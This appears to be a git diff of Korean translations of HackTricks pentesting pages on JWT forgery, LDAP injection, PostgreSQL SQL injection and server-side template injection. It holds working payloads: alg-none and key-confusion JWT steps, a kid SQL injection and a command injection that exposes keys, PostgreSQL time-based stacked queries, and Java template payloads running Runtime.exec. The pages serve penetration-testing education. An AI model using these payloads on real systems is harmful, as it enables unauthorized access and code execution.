설정하고 서명 부분을 제거하세요. +사용된 알고리즘을 "None"으로 설정하고 서명 부분을 제거하세요. -Burp 확장 기능 "JSON Web Token"을 사용하여 이 취약점을 시도하고 JWT 내부의 다양한 값을 변경하세요 (요청을 Repeater로 보내고 "JSON Web Token" 탭에서 토큰의 값을 수정할 수 있습니다. "Alg" 필드의 값을 "None"으로 설정할 수도 있습니다). +Burp 확장 기능 "JSON Web Token"을 사용하여 이 취약점을 시도하고 JWT 내부의 다양한 값을 변경하세요(요청을 Repeater로 보내고 "JSON Web Token" 탭에서 토큰의 값을 수정할 수 있습니다. "Alg" 필드의 값을 "None"으로 설정할 수도 있습니다). ### 알고리즘 RS256(비대칭)을 HS256(대칭)으로 변경 (CVE-2016-5431/CVE-2016-10555) @@ -82,7 +82,7 @@ Burp 확장 기능 "JSON Web Token"을 사용하여 이 취약점을 시도하 알고리즘을 RS256에서 HS256으로 변경하면 백엔드 코드는 공개 키를 비밀 키로 사용하고 HS256 알고리즘을 사용하여 서명을 검증합니다. -그런 다음 공개 키를 사용하고 RS256을 HS256으로 변경하여 유효한 서명을 생성할 수 있습니다. 이를 실행하여 웹 서버의 인증서를 가져올 수 있습니다: +그런 다음 공개 키를 사용하고 RS256을 HS256으로 변경하여 유효한 서명을 생성할 수 있습니다. 이를 실행하여 웹 서버의 인증서를 검색할 수 있습니다: ```bash openssl s_client -connect example.com:443 2>&1 < /dev/null | sed -n '/-----BEGIN/,/-----END/p' > certificatechain.pem #For this attack you can use the JOSEPH Burp extension. In the Repeater, select the JWS tab and select the Key confusion attack. Load the PEM, Update the request and send it. (This extension allows you to send the "non" algorithm attack also). It is also recommended to use the tool jwt_tool with the option 2 as the previous Burp Extension does not always works well. openssl x509 -pubkey -in certificatechain.pem -noout > pubkey.pem @@ -100,7 +100,7 @@ openssl x509 -pubkey -in certificatechain.pem -noout > pubkey.pem * **"jku" 헤더로 토큰 평가**: * "jku" 클레임의 URL을 확인하여 적절한 JWKS 파일로 연결되는지 확인합니다. -* 토큰의 "jku" 값을 수정하여 제어된 웹 서비스로 향하게 하여 트래픽을 관찰할 수 있습니다. +* 토큰의 "jku" 값을 수정하여 제어된 웹 서비스로 향하게 하여 트래픽을 관찰합니다. * **HTTP 상호작용 모니터링**: * 지정한 URL로의 HTTP 요청을 관찰하면 서버가 제공된 링크에서 키를 가져오려는 시도를 나타냅니다. * 이 프로세스에 `jwt_tool`을 사용할 때는 테스트를 용이하게 하기 위해 개인 JWKS 위치로 `jwtconf.ini` 파일을 업데이트하는 것이 중요합니다. @@ -113,7 +113,7 @@ python3 jwt_tool.py JWT_HERE -X s ### Kid Issues Overview -`kid`라는 선택적 헤더 클레임은 특정 키를 식별하는 데 사용되며, 이는 토큰 서명 검증을 위해 여러 키가 존재하는 환경에서 특히 중요합니다. 이 클레임은 토큰 서명을 검증하기 위해 적절한 키를 선택하는 데 도움을 줍니다. +선택적 헤더 클레임인 `kid`는 특정 키를 식별하는 데 사용되며, 이는 여러 키가 존재하는 환경에서 토큰 서명 검증에 특히 중요합니다. 이 클레임은 토큰의 서명을 검증하기 위해 적절한 키를 선택하는 데 도움을 줍니다. #### Revealing Key through "kid" @@ -121,32 +121,32 @@ python3 jwt_tool.py JWT_HERE -X s #### Path Traversal with "kid" -`kid` 클레임은 파일 시스템을 탐색하는 데 악용될 수 있으며, 임의의 파일을 선택할 수 있는 가능성을 제공합니다. 특정 파일이나 서비스를 대상으로 `kid` 값을 변경하여 연결성을 테스트하거나 서버 측 요청 위조(SSRF) 공격을 실행할 수 있습니다. 원래 서명을 유지하면서 `kid` 값을 변경하기 위해 JWT를 조작하는 것은 jwt\_tool에서 `-T` 플래그를 사용하여 수행할 수 있습니다. +`kid` 클레임은 파일 시스템을 탐색하는 데 악용될 수 있으며, 임의의 파일을 선택할 수 있는 가능성을 제공합니다. 특정 파일이나 서비스를 목표로 `kid` 값을 변경하여 연결성을 테스트하거나 서버 측 요청 위조(SSRF) 공격을 실행할 수 있습니다. 원래 서명을 유지하면서 `kid` 값을 변경하기 위해 JWT를 조작하는 것은 jwt\_tool에서 `-T` 플래그를 사용하여 수행할 수 있습니다. ```bash python3 jwt_tool.py -I -hc kid -hv "../../dev/null" -S hs256 -p "" ``` -By targeting files with predictable content, it's possible to forge a valid JWT. For instance, the `/proc/sys/kernel/randomize_va_space` file in Linux systems, known to contain the value **2**, can be used in the `kid` parameter with **2** as the symmetric password for JWT generation. +예측 가능한 내용을 가진 파일을 타겟으로 함으로써 유효한 JWT를 위조할 수 있습니다. 예를 들어, Linux 시스템의 `/proc/sys/kernel/randomize_va_space` 파일은 값 **2**를 포함하고 있으며, JWT 생성을 위한 대칭 비밀번호로 **2**를 `kid` 매개변수에 사용할 수 있습니다. -#### SQL Injection via "kid" +#### "kid"를 통한 SQL 인젝션 -If the `kid` claim's content is employed to fetch a password from a database, an SQL injection could be facilitated by modifying the `kid` payload. An example payload that uses SQL injection to alter the JWT signing process includes: +`kid` 클레임의 내용을 사용하여 데이터베이스에서 비밀번호를 가져오는 경우, `kid` 페이로드를 수정하여 SQL 인젝션을 유도할 수 있습니다. JWT 서명 프로세스를 변경하기 위해 SQL 인젝션을 사용하는 예시 페이로드는 다음과 같습니다: `non-existent-index' UNION SELECT 'ATTACKER';-- -` -This alteration forces the use of a known secret key, `ATTACKER`, for JWT signing. +이 변경은 JWT 서명을 위해 알려진 비밀 키인 `ATTACKER`를 사용하도록 강제합니다. -#### OS Injection through "kid" +#### "kid"를 통한 OS 인젝션 -A scenario where the `kid` parameter specifies a file path used within a command execution context could lead to Remote Code Execution (RCE) vulnerabilities. By injecting commands into the `kid` parameter, it's possible to expose private keys. An example payload for achieving RCE and key exposure is: +`kid` 매개변수가 명령 실행 컨텍스트 내에서 사용되는 파일 경로를 지정하는 경우 원격 코드 실행(RCE) 취약점이 발생할 수 있습니다. `kid` 매개변수에 명령을 주입함으로써 개인 키를 노출할 수 있습니다. RCE 및 키 노출을 달성하기 위한 예시 페이로드는 다음과 같습니다: `/root/res/keys/secret7.key; cd /root/res/keys/ && python -m SimpleHTTPServer 1337&` -### x5u and jku +### x5u 및 jku #### jku jku는 **JWK Set URL**을 의미합니다.\ -토큰이 “**jku**” **헤더** 클레임을 사용하는 경우, **제공된 URL을 확인하십시오**. 이는 토큰을 검증하기 위한 공개 키를 포함하는 JWKS 파일이 있는 URL을 가리켜야 합니다. 토큰을 변조하여 jku 값을 모니터링할 수 있는 웹 서비스로 가리키게 하십시오. +토큰이 “**jku**” **헤더** 클레임을 사용하는 경우, **제공된 URL을 확인하십시오**. 이 URL은 토큰을 검증하기 위한 공개 키를 포함하는 JWKS 파일을 가리켜야 합니다. 토큰을 변조하여 jku 값을 모니터링할 수 있는 웹 서비스로 포인팅하십시오. 먼저 새로운 개인 및 공개 키로 새로운 인증서를 생성해야 합니다. ```bash @@ -167,7 +167,7 @@ print("e:", hex(key.e)) ``` #### x5u -X.509 URL. PEM 형식으로 인코딩된 X.509(인증서 형식 표준) 공개 인증서 집합을 가리키는 URI입니다. 집합의 첫 번째 인증서는 이 JWT를 서명하는 데 사용된 인증서여야 합니다. 이후의 인증서는 각각 이전 인증서를 서명하여 인증서 체인을 완성합니다. X.509는 RFC 52807에 정의되어 있습니다. 인증서를 전송하려면 전송 보안이 필요합니다. +X.509 URL. PEM 형식으로 인코딩된 X.509(인증서 형식 표준) 공개 인증서 집합을 가리키는 URI. 집합의 첫 번째 인증서는 이 JWT를 서명하는 데 사용된 인증서여야 합니다. 이후의 인증서는 각각 이전 인증서를 서명하여 인증서 체인을 완성합니다. X.509는 RFC 52807에 정의되어 있습니다. 인증서를 전송하려면 전송 보안이 필요합니다. **이 헤더를 귀하의 제어 하에 있는 URL로 변경**하고 요청이 수신되는지 확인하십시오. 그런 경우 **JWT를 변조할 수 있습니다**. @@ -215,7 +215,9 @@ openssl genrsa -out keypair.pem 2048 openssl rsa -in keypair.pem -pubout -out publickey.crt openssl pkcs8 -topk8 -inform PEM -outform PEM -nocrypt -in keypair.pem -out pkcs8.key ``` +```markdown 이 nodejs 스크립트를 사용하여 "n"과 "e"를 얻을 수 있습니다: +``` ```bash const NodeRSA = require('node-rsa'); const fs = require('fs'); @@ -225,18 +227,18 @@ const publicComponents = key.exportKey('components-public'); console.log('Parameter n: ', publicComponents.n.toString("hex")); console.log('Parameter e: ', publicComponents.e.toString(16)); ``` -Finally, using the public and private key and the new "n" and "e" values you can use [jwt.io](https://jwt.io) to forge a new valid JWT with any information. +마지막으로, 공개 키와 개인 키 및 새로운 "n"과 "e" 값을 사용하여 [jwt.io](https://jwt.io)에서 임의의 정보를 가진 새로운 유효한 JWT를 위조할 수 있습니다. -### ES256: 같은 nonce로 개인 키 노출 +### ES256: 동일한 nonce로 개인 키 노출 -일부 애플리케이션이 ES256을 사용하고 두 개의 JWT를 생성하기 위해 같은 nonce를 사용할 경우, 개인 키를 복원할 수 있습니다. +일부 애플리케이션이 ES256을 사용하고 동일한 nonce를 사용하여 두 개의 jwt를 생성하는 경우, 개인 키를 복원할 수 있습니다. -여기 예시가 있습니다: [ECDSA: 같은 nonce를 사용할 경우 개인 키 노출 (SECP256k1 사용)](https://asecuritysite.com/encryption/ecd5) +여기 예시가 있습니다: [ECDSA: 동일한 nonce를 사용할 경우 개인 키 노출 (SECP256k1 사용)](https://asecuritysite.com/encryption/ecd5) ### JTI (JWT ID) JTI (JWT ID) 클레임은 JWT 토큰에 대한 고유 식별자를 제공합니다. 이는 토큰이 재전송되는 것을 방지하는 데 사용될 수 있습니다.\ -그러나 ID의 최대 길이가 4(0001-9999)인 상황을 상상해 보십시오. 요청 0001과 10001은 같은 ID를 사용할 것입니다. 따라서 백엔드가 각 요청마다 ID를 증가시키고 있다면, 이를 악용하여 **요청을 재전송**할 수 있습니다(각 성공적인 재전송 사이에 10000 요청을 보내야 함). +그러나 ID의 최대 길이가 4(0001-9999)인 상황을 상상해 보십시오. 요청 0001과 10001은 동일한 ID를 사용할 것입니다. 따라서 백엔드가 각 요청마다 ID를 증가시키고 있다면, 이를 악용하여 **요청을 재전송**할 수 있습니다(각 성공적인 재전송 사이에 10000 요청을 보내야 함). ### JWT 등록 클레임 @@ -246,13 +248,13 @@ JTI (JWT ID) 클레임은 JWT 토큰에 대한 고유 식별자를 제공합니 **교차 서비스 릴레이 공격** -일부 웹 애플리케이션이 토큰의 생성 및 관리를 위해 신뢰할 수 있는 JWT 서비스에 의존하는 것으로 관찰되었습니다. JWT 서비스에 의해 한 클라이언트를 위해 생성된 토큰이 같은 JWT 서비스의 다른 클라이언트에 의해 수용된 사례가 기록되었습니다. 제3자 서비스에 의해 JWT의 발급 또는 갱신이 관찰되면, 같은 사용자 이름/이메일을 사용하여 해당 서비스의 다른 클라이언트에 계정을 등록할 가능성을 조사해야 합니다. 그런 다음, 얻은 토큰을 대상으로 요청하여 수용되는지 확인하는 시도를 해야 합니다. +일부 웹 애플리케이션이 토큰의 생성 및 관리를 위해 신뢰할 수 있는 JWT 서비스에 의존하는 것으로 관찰되었습니다. JWT 서비스에 의해 한 클라이언트를 위해 생성된 토큰이 동일한 JWT 서비스의 다른 클라이언트에 의해 수용된 사례가 기록되었습니다. 제3자 서비스에 의해 JWT의 발급 또는 갱신이 관찰되면, 동일한 사용자 이름/이메일을 사용하여 해당 서비스의 다른 클라이언트에 계정을 등록할 가능성을 조사해야 합니다. 그런 다음, 얻은 토큰을 대상으로 요청하여 수용되는지 확인하기 위해 재전송을 시도해야 합니다. -* 당신의 토큰이 수용되면 심각한 문제가 발생할 수 있으며, 이는 모든 사용자의 계정을 스푸핑할 수 있는 가능성을 허용할 수 있습니다. 그러나 제3자 애플리케이션에 가입하는 경우 더 넓은 테스트에 대한 허가가 필요할 수 있으며, 이는 법적 회색 영역에 들어갈 수 있음을 유의해야 합니다. +* 귀하의 토큰이 수용되면 심각한 문제가 발생할 수 있으며, 이는 모든 사용자의 계정을 스푸핑할 수 있는 가능성을 허용할 수 있습니다. 그러나 제3자 애플리케이션에 가입하는 경우 더 넓은 테스트에 대한 허가가 필요할 수 있으며, 이는 법적 회색 영역에 들어갈 수 있음을 유의해야 합니다. **토큰의 만료 확인** -토큰의 만료는 "exp" 페이로드 클레임을 사용하여 확인됩니다. JWT가 종종 세션 정보 없이 사용되기 때문에 신중한 처리가 필요합니다. 많은 경우, 다른 사용자의 JWT를 캡처하고 재전송하면 해당 사용자를 가장할 수 있습니다. JWT RFC는 토큰의 만료 시간을 설정하기 위해 "exp" 클레임을 활용하여 JWT 재전송 공격을 완화할 것을 권장합니다. 또한, 이 값을 처리하고 만료된 토큰을 거부하는 관련 검사를 애플리케이션에서 구현하는 것이 중요합니다. 토큰에 "exp" 클레임이 포함되어 있고 테스트 시간 제한이 허용된다면, 토큰을 저장하고 만료 시간이 지난 후 재전송하는 것이 좋습니다. 타임스탬프 파싱 및 만료 확인(UTC의 타임스탬프 포함)을 포함한 토큰의 내용은 jwt_tool의 -R 플래그를 사용하여 읽을 수 있습니다. +토큰의 만료는 "exp" 페이로드 클레임을 사용하여 확인됩니다. JWT가 종종 세션 정보 없이 사용되기 때문에 신중한 처리가 필요합니다. 많은 경우, 다른 사용자의 JWT를 캡처하고 재전송하면 해당 사용자를 가장할 수 있습니다. JWT RFC는 토큰의 만료 시간을 설정하기 위해 "exp" 클레임을 활용하여 JWT 재전송 공격을 완화할 것을 권장합니다. 또한, 이 값을 처리하고 만료된 토큰을 거부하는 관련 검사를 애플리케이션에서 구현하는 것이 중요합니다. 토큰에 "exp" 클레임이 포함되어 있고 테스트 시간 제한이 허용된다면, 토큰을 저장하고 만료 시간이 지난 후 재전송하는 것이 좋습니다. 타임스탬프 파싱 및 만료 확인(UTC의 타임스탬프 포함)을 포함한 토큰의 내용을 jwt_tool의 -R 플래그를 사용하여 읽을 수 있습니다. * 애플리케이션이 여전히 토큰을 검증하는 경우 보안 위험이 존재할 수 있으며, 이는 토큰이 결코 만료되지 않을 수 있음을 의미할 수 있습니다. @@ -260,23 +262,23 @@ JTI (JWT ID) 클레임은 JWT 토큰에 대한 고유 식별자를 제공합니 {% embed url="https://github.com/ticarpi/jwt_tool" %} -
+
-If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_fluent polish written and spoken required_). +**해킹 경력**에 관심이 있고 해킹할 수 없는 것을 해킹하고 싶다면 - **우리는 채용 중입니다!** (_유창한 폴란드어 필기 및 구술 필요_). {% embed url="https://www.stmcyber.com/careers" %} {% hint style="success" %} -Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +AWS 해킹 배우고 연습하기:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +GCP 해킹 배우고 연습하기: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-Support HackTricks +HackTricks 지원하기 -* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! -* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** -* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. +* [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기! +* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 가입하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.** +* **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 팁을 공유하세요.**
{% endhint %} diff --git a/pentesting-web/ldap-injection.md b/pentesting-web/ldap-injection.md index 570a339f2..d0d419232 100644 --- a/pentesting-web/ldap-injection.md +++ b/pentesting-web/ldap-injection.md @@ -17,7 +17,7 @@ Learn & practice GCP Hacking: {% endhint %} -
+
If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_fluent polish written and spoken required_). @@ -33,7 +33,7 @@ If you are interested in **hacking career** and hack the unhackable - **we are h [pentesting-ldap.md](../network-services-pentesting/pentesting-ldap.md) {% endcontent-ref %} -**LDAP Injection**은 사용자 입력으로부터 LDAP 문장을 구성하는 웹 애플리케이션을 대상으로 하는 공격입니다. 애플리케이션이 입력을 **적절히 정화하지 못할 때** 발생하며, 공격자가 로컬 프록시를 통해 **LDAP 문장을 조작**할 수 있게 되어, 무단 접근이나 데이터 조작으로 이어질 수 있습니다. +**LDAP Injection**은 사용자 입력으로부터 LDAP 문장을 구성하는 웹 애플리케이션을 대상으로 하는 공격입니다. 애플리케이션이 입력을 **적절히 정화하지 못할** 때 발생하며, 공격자가 로컬 프록시를 통해 **LDAP 문장을 조작**할 수 있게 되어, 무단 접근이나 데이터 조작으로 이어질 수 있습니다. {% file src="../.gitbook/assets/EN-Blackhat-Europe-2008-LDAP-Injection-Blind-LDAP-Injection.pdf" %} @@ -63,7 +63,7 @@ If you are interested in **hacking career** and hack the unhackable - **we are h **ADAM 또는 Microsoft LDS**: 2개의 필터가 있을 경우 오류를 발생시킵니다.\ **SunOne Directory Server 5.0**: 두 개의 필터를 모두 실행합니다. -**올바른 구문으로 필터를 전송하는 것이 매우 중요하며, 그렇지 않으면 오류가 발생합니다. 필터는 하나만 전송하는 것이 좋습니다.** +**올바른 구문으로 필터를 보내는 것이 매우 중요하며, 그렇지 않으면 오류가 발생합니다. 필터는 하나만 보내는 것이 좋습니다.** 필터는 다음으로 시작해야 합니다: `&` 또는 `|`\ 예: `(&(directory=val1)(folder=public))` @@ -165,7 +165,7 @@ ascii 문자, 숫자 및 기호를 반복할 수 있습니다: ``` ### Scripts -#### **유효한 LDAP 필드 발견하기** +#### **유효한 LDAP 필드 발견** LDAP 객체는 **기본적으로 여러 속성을 포함하고** 있어 **정보를 저장하는 데 사용할 수 있습니다.** 이 정보를 추출하기 위해 **모든 속성을 무작위로 시도해 볼 수 있습니다.** [**기본 LDAP 속성 목록은 여기에서 확인할 수 있습니다**](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/LDAP%20Injection/Intruder/LDAP\_attributes.txt). ```python @@ -224,7 +224,7 @@ intitle:"phpLDAPadmin" inurl:cmd.php {% embed url="https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/LDAP%20Injection" %} -
+
당신이 **해킹 경력**에 관심이 있고 해킹할 수 없는 것을 해킹하고 싶다면 - **우리는 인재를 모집합니다!** (_유창한 폴란드어 구사 필수_). @@ -236,7 +236,7 @@ GCP 해킹 배우고 연습하기: -Support HackTricks +HackTricks 지원하기 * [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기! * **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.** diff --git a/pentesting-web/sql-injection/postgresql-injection/README.md b/pentesting-web/sql-injection/postgresql-injection/README.md index b937ebd8f..bde68de6b 100644 --- a/pentesting-web/sql-injection/postgresql-injection/README.md +++ b/pentesting-web/sql-injection/postgresql-injection/README.md @@ -15,23 +15,23 @@ Learn & practice GCP Hacking: 
 </details>
 {% endhint %}
 
-<figure><img src=
+
-If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_유창한 폴란드어 구사 필수_). +If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_유창한 폴란드어 필기 및 구사 필요_). {% embed url="https://www.stmcyber.com/careers" %} *** -**이 페이지는 PostgreSQL 데이터베이스에서 발견된 SQL 인젝션을 악용하는 데 도움이 될 수 있는 다양한 트릭을 설명하는 것을 목표로 하며,** [**https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/PostgreSQL%20Injection.md**](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/PostgreSQL%20Injection.md) **에서 찾을 수 있는 트릭을 보완합니다.** +**이 페이지는 PostgreSQL 데이터베이스에서 발견된 SQL 인젝션을 악용하는 데 도움이 될 수 있는 다양한 트릭을 설명하고,** [**https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/PostgreSQL%20Injection.md**](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/PostgreSQL%20Injection.md) **에서 찾을 수 있는 트릭을 보완하는 것을 목표로 합니다.** ## Network Interaction - Privilege Escalation, Port Scanner, NTLM challenge response disclosure & Exfiltration -**PostgreSQL 모듈 `dblink`**는 다른 PostgreSQL 인스턴스에 연결하고 TCP 연결을 실행할 수 있는 기능을 제공합니다. 이러한 기능은 `COPY FROM` 기능과 결합되어 권한 상승, 포트 스캐닝 및 NTLM 챌린지 응답 캡처와 같은 작업을 가능하게 합니다. 이러한 공격을 실행하는 방법에 대한 자세한 내용은 [이 공격을 수행하는 방법](network-privesc-port-scanner-and-ntlm-chanllenge-response-disclosure.md)을 확인하세요. +**PostgreSQL 모듈 `dblink`**는 다른 PostgreSQL 인스턴스에 연결하고 TCP 연결을 실행하는 기능을 제공합니다. 이러한 기능은 `COPY FROM` 기능과 결합되어 권한 상승, 포트 스캐닝 및 NTLM 챌린지 응답 캡처와 같은 작업을 가능하게 합니다. 이러한 공격을 실행하는 방법에 대한 자세한 내용은 [이 공격을 수행하는 방법](network-privesc-port-scanner-and-ntlm-chanllenge-response-disclosure.md)을 확인하세요. ### **dblink 및 대용량 객체를 사용한 데이터 유출 예제** -[**이 예제를 읽어보세요**](dblink-lo_import-data-exfiltration.md) **대용량 객체 내에 데이터를 로드한 다음 함수 `dblink_connect`의 사용자 이름 내에서 대용량 객체의 내용을 유출하는 CTF 예제를 확인할 수 있습니다.** +[**이 예제**](dblink-lo\_import-data-exfiltration.md)를 읽어보면 **대용량 객체 내에 데이터를 로드한 다음 `dblink_connect` 함수의 사용자 이름 내에서 대용량 객체의 내용을 유출하는 방법**에 대한 CTF 예제를 볼 수 있습니다. ## PostgreSQL Attacks: Read/write, RCE, privesc @@ -46,11 +46,11 @@ PostgreSQL에서 호스트를 손상시키고 권한을 상승시키는 방법 ### PostgreSQL 문자열 함수 문자열을 조작하면 **WAF 또는 기타 제한을 우회하는 데 도움이 될 수 있습니다**.\ -[**이 페이지에서**](https://www.postgresqltutorial.com/postgresql-string-functions/) **유용한 문자열 함수를 찾을 수 있습니다.** +[**이 페이지**](https://www.postgresqltutorial.com/postgresql-string-functions/)**에서 유용한 문자열 함수를 찾을 수 있습니다.** ### Stacked Queries -PostgreSQL은 스택 쿼리를 지원하지만, 여러 응용 프로그램은 1개의 응답만 예상할 때 2개의 응답이 반환되면 오류를 발생시킵니다. 그러나 시간 주입을 통해 스택 쿼리를 여전히 악용할 수 있습니다: +PostgreSQL은 스택 쿼리를 지원하지만, 여러 응용 프로그램은 1개의 응답만 예상할 때 2개의 응답이 반환되면 오류를 발생시킵니다. 그러나 시간 주입을 통해 여전히 스택 쿼리를 악용할 수 있습니다: ``` id=1; select pg_sleep(10);-- - 1; SELECT case when (SELECT current_setting('is_superuser'))='on' then pg_sleep(10) end;-- - @@ -65,13 +65,13 @@ SELECT query_to_xml('select * from pg_user',true,true,''); ``` **database\_to\_xml** -이 함수는 전체 데이터베이스를 XML 형식으로 단 1행에 덤프합니다(데이터베이스가 매우 큰 경우 DoS 공격을 하거나 심지어 자신의 클라이언트에 영향을 줄 수 있으니 주의하세요): +이 함수는 전체 데이터베이스를 XML 형식으로 단 1행에 덤프합니다(데이터베이스가 매우 클 경우 DoS 공격을 하거나 심지어 자신의 클라이언트에 영향을 줄 수 있으니 주의하세요): ```sql SELECT database_to_xml(true,true,''); ``` ### Strings in Hex -만약 **쿼리**를 **문자열 안에** 전달할 수 있다면 (예를 들어 **`query_to_xml`** 함수를 사용하여). **convert\_from을 사용하여 문자열을 헥사로 전달하고 필터를 우회할 수 있습니다:** +만약 **쿼리**를 **문자열 안에** 전달할 수 있다면 (예를 들어 **`query_to_xml`** 함수를 사용하여). **convert\_from을 사용하여 문자열을 헥사로 전달하고 이렇게 필터를 우회할 수 있습니다:** {% code overflow="wrap" %} ```sql @@ -87,7 +87,7 @@ select encode('select cast(string_agg(table_name, '','') as int) from informatio ### 금지된 따옴표 -페이로드에 따옴표를 사용할 수 없는 경우, 기본 절에 대해 `CHR`를 사용하여 우회할 수 있습니다 (_문자 연결은 SELECT, INSERT, DELETE 등과 같은 기본 쿼리에만 작동합니다. 모든 SQL 문에 대해 작동하지 않습니다_): +페이로드에 따옴표를 사용할 수 없는 경우, 기본 절을 위해 `CHR`를 사용하여 우회할 수 있습니다 (_문자 연결은 SELECT, INSERT, DELETE 등과 같은 기본 쿼리에만 작동합니다. 모든 SQL 문에 대해 작동하지 않습니다_): ``` SELECT CHR(65) || CHR(87) || CHR(65) || CHR(69); ``` @@ -97,7 +97,7 @@ SELECT 'hacktricks'; SELECT $$hacktricks$$; SELECT $TAG$hacktricks$TAG$; ``` -
+
**해킹 경력**에 관심이 있고 해킹할 수 없는 것을 해킹하고 싶다면 - **우리는 인재를 모집합니다!** (_유창한 폴란드어 필기 및 구사 필수_). diff --git a/pentesting-web/ssti-server-side-template-injection/README.md b/pentesting-web/ssti-server-side-template-injection/README.md index 8b3312751..bbd393ed3 100644 --- a/pentesting-web/ssti-server-side-template-injection/README.md +++ b/pentesting-web/ssti-server-side-template-injection/README.md @@ -19,7 +19,7 @@ GCP 해킹 배우기 및 연습하기:
-[**RootedCON**](https://www.rootedcon.com)은 **스페인**에서 가장 관련성 높은 사이버 보안 이벤트이며 **유럽**에서 가장 중요한 행사 중 하나입니다. **기술 지식을 촉진하는 임무**를 가지고 있는 이 회의는 모든 분야의 기술 및 사이버 보안 전문가들이 모이는 뜨거운 만남의 장소입니다. +[**RootedCON**](https://www.rootedcon.com)은 **스페인**에서 가장 관련성 높은 사이버 보안 이벤트이며 **유럽**에서 가장 중요한 행사 중 하나입니다. **기술 지식을 촉진하는 임무**를 가지고, 이 컨그레스는 모든 분야의 기술 및 사이버 보안 전문가들이 모이는 뜨거운 만남의 장소입니다. {% embed url="https://www.rootedcon.com/" %} @@ -27,7 +27,7 @@ GCP 해킹 배우기 및 연습하기: `가 포함됩니다. 수학적 연산에 대한 서버의 응답을 관찰하면 특정 템플릿 엔진을 파악하는 데 도움이 됩니다. +템플릿 엔진을 식별하려면 오류 메시지를 분석하거나 다양한 언어별 페이로드를 수동으로 테스트해야 합니다. 오류를 유발하는 일반적인 페이로드에는 `${7/0}`, `{{7/0}}`, `<%= 7/0 %>`가 포함됩니다. 수학적 연산에 대한 서버의 응답을 관찰하면 특정 템플릿 엔진을 파악하는 데 도움이 됩니다. -#### Identification by payloads +#### 페이로드에 의한 식별

https://miro.medium.com/v2/resize:fit:1100/format:webp/1*35XwCGeYeKYmeaU8rdkSdg.jpeg

* 더 많은 정보는 [https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756](https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756)에서 확인하세요. -## Tools +## 도구 ### [TInjA](https://github.com/Hackmanit/TInjA) @@ -133,7 +133,7 @@ ${product.getClass().getProtectionDomain().getCodeSource().getLocation().toURI() ``` **Freemarker - 샌드박스 우회** -⚠️ Freemarker 2.3.30 이하 버전에서만 작동합니다. +⚠️ 2.3.30 이하의 Freemarker 버전에서만 작동합니다. ```java <#assign classloader=article.class.protectionDomain.classLoader> <#assign owc=classloader.loadClass("freemarker.template.ObjectWrapper")> @@ -193,7 +193,7 @@ ${#rt = @java.lang.Runtime@getRuntime(),#rt.exec("calc")} 그러나 이 페이로드가 작동할 가능성은 일반적으로 낮습니다. 타임리프의 기본 구성은 동적 템플릿 생성을 지원하지 않으며, 템플릿은 미리 정의되어야 합니다. 개발자는 문자열에서 즉석으로 템플릿을 생성하기 위해 자신의 `TemplateResolver`를 구현해야 하며, 이는 드뭅니다. -타임리프는 또한 _표현식 전처리_를 제공하며, 이중 밑줄(`__...__`) 내의 표현식이 전처리됩니다. 이 기능은 표현식 구성에 활용될 수 있으며, 타임리프 문서에서 설명된 바와 같습니다: +타임리프는 또한 _표현식 전처리_를 제공하며, 이때 이중 밑줄(`__...__`) 내의 표현식이 전처리됩니다. 이 기능은 타임리프 문서에서 보여준 바와 같이 표현식 구성에 활용될 수 있습니다: ```java #{selection.__${sel.code}__} ``` @@ -223,7 +223,7 @@ http://localhost:8082/(${T(java.lang.Runtime).getRuntime().exec('calc')}) ``` **필터 우회** -여러 변수 표현식을 사용할 수 있습니다. `${...}`가 작동하지 않으면 `#{...}`, `*{...}`, `@{...}` 또는 `~{...}`를 시도해 보세요. +여러 변수 표현식을 사용할 수 있으며, `${...}`가 작동하지 않으면 `#{...}`, `*{...}`, `@{...}` 또는 `~{...}`를 시도해 보십시오. * `/etc/passwd` 읽기 ```java @@ -383,7 +383,7 @@ Payload: {{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstanc * [https://www.betterhacker.com/2018/12/rce-in-hubspot-with-el-injection-in-hubl.html](https://www.betterhacker.com/2018/12/rce-in-hubspot-with-el-injection-in-hubl.html) -### 표현 언어 - EL (Java) +### Expression Language - EL (Java) * `${"aaaa"}` - "aaaa" * `${99999+1}` - 100000. @@ -394,7 +394,7 @@ Payload: {{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstanc Expression 